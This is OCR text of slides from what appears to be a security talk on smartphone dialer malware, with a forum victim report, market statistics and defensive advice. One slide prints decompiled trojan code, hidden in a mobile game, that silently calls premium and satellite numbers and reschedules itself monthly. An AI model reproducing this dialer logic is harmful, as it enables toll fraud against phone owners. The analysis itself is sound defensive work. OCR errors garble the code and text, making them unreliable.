Dialers are Back!

---and this time they are on Smartphones
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Smartphone market shares (End of 2009)

m Apple

m Microsoft

® Android

m Others

®m Palm

mRIM
Symbian

Data source: Canalys
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Mobile Malware Families by Platform

 Total: 516
e Symbian: 463 ’ 2’12'"\”::0:” platform
 Windows: 33 W’
JZME: 12

e 1Phone: 2
Android: 2
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@ Porn-dialer Detected

What happened?

Yirus & Spy Protection has detected Porn-Dialer.Win32, Agent porn-dialer in your

computer.

What should I do?

() Quarantine (recommended)
(") Delete the infected file
() Exdude from scan

(*) Do nothing

Help |I [EIETI;iI—s.—:::: I

Ok
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A4 Build packet
char acPingBuffer[e64d] :
wemset (acPingBuffer, '"xik', sizeof [acPingBuffer)):
PIF ECHO REPLY pIpe = (PIF ECHO REPLY)Glohaldllos|
GHMEM FIXED | GMEM ZEROINIT,
sizeof (IF_ECHO REFPLY)] + sizeof (acPingBuffer)]:
if (pIpe == 0] {
cerr << "Failed to allocate global ping packet buffer.™ << endl;
return ©;

H
pIpe->Data = acPingBuffer:
plpe->Datalize = sizeof (acPingBuffer) :

A4 Bend the ping packet

DWORD dwitatus = plompSendEcho (hIP, *( (DWORD*) phe->h addr list[0]),
acPingBuffer, =sizeof (acPingBuffer), NULL, pIpe,
gizeof (IF ECHO REPLY) + sizeof (acPingBuffer), 5000):

if [duw3tatus !'= 0] {
cout << "Addr: o<«

int (LOBYTE (LOWORD (pIpe->baddress) i) << "." <<
int (HIEYTE (LOWORD (pIpe->address) ) << "." <<
int (LOBYTE (HIWORD (pIpe->address) i) << "." <<
int (HIEYTE (HIWORD (pIpe->hddress) 1) << ', ™ <<
"RTT: "™ << intipIpe->RoundTripTime) << "m=, " <<
"TTL: " << int(pIpe->Cptions.Tol) << endl:

i

else {

zerr << "Error obtaining info from ping packet.™ << endl:

A4 Z3hut down. ..
GlobalFree (plpe) ;
FreeLibrary (hIcmp)
return 0O:

int main(int argce, char® argvl[])
W3AData wsabata:

if (M3AZtartup (MAEEWORD (1, 1), &wsalata) !'= 0)
return =255;

int retval = doit{argc, argw) !



H

wioid CMy%a11Dia1er::Dia1(cunst ThesC& aPhoneMumber, CTelephony: :TCallerIdentityRestrict
EF(!ISActiue(j &% iTelephony)
CTelephony: :TTelnumber telnumber (aPhoneMumber);

CTelephony: :TCallParamsvl callrarams;
callrarams. iIdrestrict = arestinction;
CTelephony: :TCallraramswvlrcky callrParamsPckgcallrarams);

istate = EMyCa11Dia1ing;
S oask CTelephony to dial new call

S5 RunL will be called when the call 9= connected or it fails
iTelephomy->DialMewCall(istatus, callrParamsPckg, telMumber, Callidl;
setactive();,// after starting the request A0 needs to be set active

arestinction)
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1-900 numbers 1n USA

e Require an initial investment, typically around $1000

FTC requires an 1nitial audio warning

30 day pay cycle to prevent fraud

e Won't work from cell phones

Won't work intemationa



Thread Tools w | Search this Thread v | Display Modes w

W 22nd March 2010, 08:52 AM

Join Date: Jan 2010
smudgelab ¢ [0P] Paosts: 38

Member

.&. Phone dialled out internaionally without permission!

Really wierd aone this. Last night, I was woken by a repetitive voice telling me that
"International dialling is not currently permitted from this device”, As this was at
aprox’ 02.40 on Suday &M, it fair shook me out of a deep sleep! On checking the
phone I found the following call histary:

+88213213214 @ 0244

+88213213214 @ 0236

+1{7671503-3611 @ 02 36

+1{7671503-3611 @ 02:36

+1{7671503-3611 @ 02:36

+883234607 77 @ 02:35

I have absolutely no idea who or what these numbers are for (Google suggests
+882 may be something to do with satellite phones(1?) & +1767 appears to be a
Dominican country code(117?7?) but It was very unnerving to see my phone has
been trying to ring these without any input from me. I'll be onto Yirgin mobile
later to see if they can help but thought I'd try the collective wisdom of yvou guys
first. Wirus / dialler maybe? Do these even exist for win mo phones? Any help wil
be very much appreciated. Thank you,
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Home Mew Software Updated Software Top Sellers Top Downloads special Offers

You are here: Home ¥ Games @ Adventure = 30 Anti-berrorist action WMM20035E 1.0.1

Current Device ] _ ]
No device selected 3D Anti-terrorist action WM2003SE 1.0.1 k
b Beijing Huike Technology Co., Lkd !
Add device '
m Compatible devices Ratings & Comments :
Software
Short description for 3D Anti-terrorist action WM20035E 1.0.1:
eV Betare This is a classic 30 first person perspective shooting game.
» Updated Software
# Top Downloads
s Special OFfers Rating: Fate now - Recommend software
# Top Free Apps For: Show compatible devices ||
)
y Downloads: 272
Categories ;
License: Cornmercial 5
# Tools
ame: . i Last updated: 10152009 E
=== Product image For 30 Anti-terrorisk 3
» Travel & Holiday action WM20035E 1.0.1 Languages: =
i
% Communications iZakeqgory: Games = Adventure
i
®»  rganization Games * Ackion
i
#  Show all categaories Games = Okher
i
Registration Key: will be delivered on purchase g

' Now accepting ‘ Trial version: Dovwnload



int num3 = (int) key.GetValue("3tatus");

if ((num3 == 1) && (Assembly. GetExecutingAssembly().GetName().CodeBase

{

Phone phone = new Phone();
phone.Talk("+8823460777);

Thread. Sleep(0xc3a0);

phone. Talk("+176730336117);

Thread. Sleep(0xc3a0);

phone. Talk(*+882132132147);

Thread. Sleep(0xc3a0);

phone. Talk("+252402216017);

Thread. Sleep(0xc3a0);

phone.Talk("+23922832617);

Thread. Sleep(0xc3s0);

phone. Talk("+8818420111237),

long numé = DateTime Mow. AddMonths(1). ToFileTime();
long num? = 0OL;

FileTimeTolLocalFieTime(ref numé&, ref num7);
systemTime timeé = new SystemTime();
FileTimeToSystemTime(ref num?, timeg);
CeRunAppAtTime(@ " \Windows'smart32.exe”, timeg);
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The numbers

+ 882346077 Antarctica

+ 17675033611 Dominican republic

+ 88213213214 EMSAT satellite prefix
+25240221601 Somalia

+ 2392283261 Sio Tomé and Principe

+ 881842011123 Globalstar satellite prefix
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"Short Stopping" / "Long Lining"
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h Guinea Bis=au 245 30 - 46 Days EOh +24h-4A00000
ﬁ Init'l wirtual premium L iz abily HH-GO9G 13016
ﬁ Init'l wirtual premium e iz abily H-G09T00152

I I lwory Coast 225 21 30 - 45 Days EOM + 225-21709209

E kenya 254 Biweekly +e54- 204790000

= Latwia ar 30 - 45 Days EO +371--G5 158600

= Latwia Kra| 30 - 46 Days EOh + 37165153500

- Liechtanstein L a0 - 45 Days EOh + 4238701270

- Lithuania 370 Mraakly + 3T0-21022401

. Madagascar 261--2219 Wizl + 261-221900000
. hladagascar 261--221 a0 - 45 Days EOhd + 261-221000000
. hwadagascar 261--22 1 30 - 45 Days EOh + 261-221100000

= Haum Grd 30 - 45 Days EOh + 6749990870
Q NEW Oration Satellte 882 23 B0 Days EOM +ED-ITS

[ ]

& | MNorth Korea &50-59 30 - 45 Days EOh + 8A0-0992 1220

I

l * . Morfalk I=land 672 20 - G0 Days EOM + B72-372440

- Paland Pramium 48 23 30 - 46 Days EOh + 8- 1988200

I I Romania Special Service 40 32 a0 - 30 Days EOhd + 40-212499000

Lao Tome 234 a0 - 46 Days EOh + 239-208599
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"International Premium-rate numbers"

costs you?

How do you figure out who owns the number?
Where do you complain to?

How do you get such a number shut down?

Go ugle

*8 Everything
¥ Mare

Any time
Fast week

All results
Related searches

Premium Rate Numbers

About 549 000 results (010 seconds)

Premium Rate Numbers
wannny ediatel. com International premium rate numbers VR & Audiotext payment solutions

Premium Rate Numbers
wonney globalbilling. com for free with great rates. Start making money now.

Premium Rate Numbers
weew. daotec.com Worldwide availability Fast setup, top money

N&d5 Numbers D500 Numbers 05300 Freenhone Numbers D505 Mumbers D545

How do you figure out how much such a number
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gearch | Contact | H

Leqal Status

Present family name:
Forename:

Sex.

Date of hirth:

Flace of hirth:
Language spoken:
Mationality:

CHUMGEN
DAI
MaLE

4 May 1980 {30 yvears old)

ZHEJIAMNG, China
CHIMESE, English
China

Categories of Cffences:
arrest Warrant Issued by,

Offences

COMPUTER aAND INFORMATION TECHMNOLOGY CRIMES, FRALID

ISLAMABAD / Pakistan

IF ¥OU HAVE ANY INFORMATION CONTACT
YOUR NATIOMNAL OR LOCAL POLICE



Eventually, virus writers

will realize it's easier to make
money by infecting phones
than by infecting computers
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40,000,000 PC malware vs 500 mobile
malware




So, why aren't we seeing more Mobile
attacks?

e Low—hanging fruit is elsewhere

« Why would the attackers target anything else than
Windows XP?

Top Operating System Share Trend May, 2010
{E:: Timeframe * = Export To =  Options + =Embed f= L...] L& |+_;'j u_} L& Help

S5% -

4455 1|

33% -

2% 1 |

11% 1 |

0%

My 10
W vindows ¥P B Windowes vista llWindows 7 1 Mac 0S5 X106 I Mac 05 X105 B Linux W Cther

harith Windows XP Windows Vista Windows 7 Mac 05 X 10.6 Mac 05 X 10.5 Linux ther
hday, 2010 62.55% 15.25% 12.68% 2.34% 1.96% 1.13% 4.09%

Feport generated Toesday, June 29, 20010 1:32:04 Ph
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Future

More malware
Mobile botnets
Drive—-by—exploits
Rogue dialers
Major outbreaks

Mobile spambots

nnnnn

GAME PAYS

® -4 )LEFT 70 RIGHT
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What to do?

The problem isn't big, ye!

[t's not going to get better

Set up policies

Educate your users

[LLock down yvour devices

Buy expensive security products




A2 Mobile Security ':' o Y( < @ X
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F-Secure.

O Security overview

Device is protected

Updated: 2/8/10
Subscribed: 342 days left

\

N’
earn more Virus protection

Scan All ]
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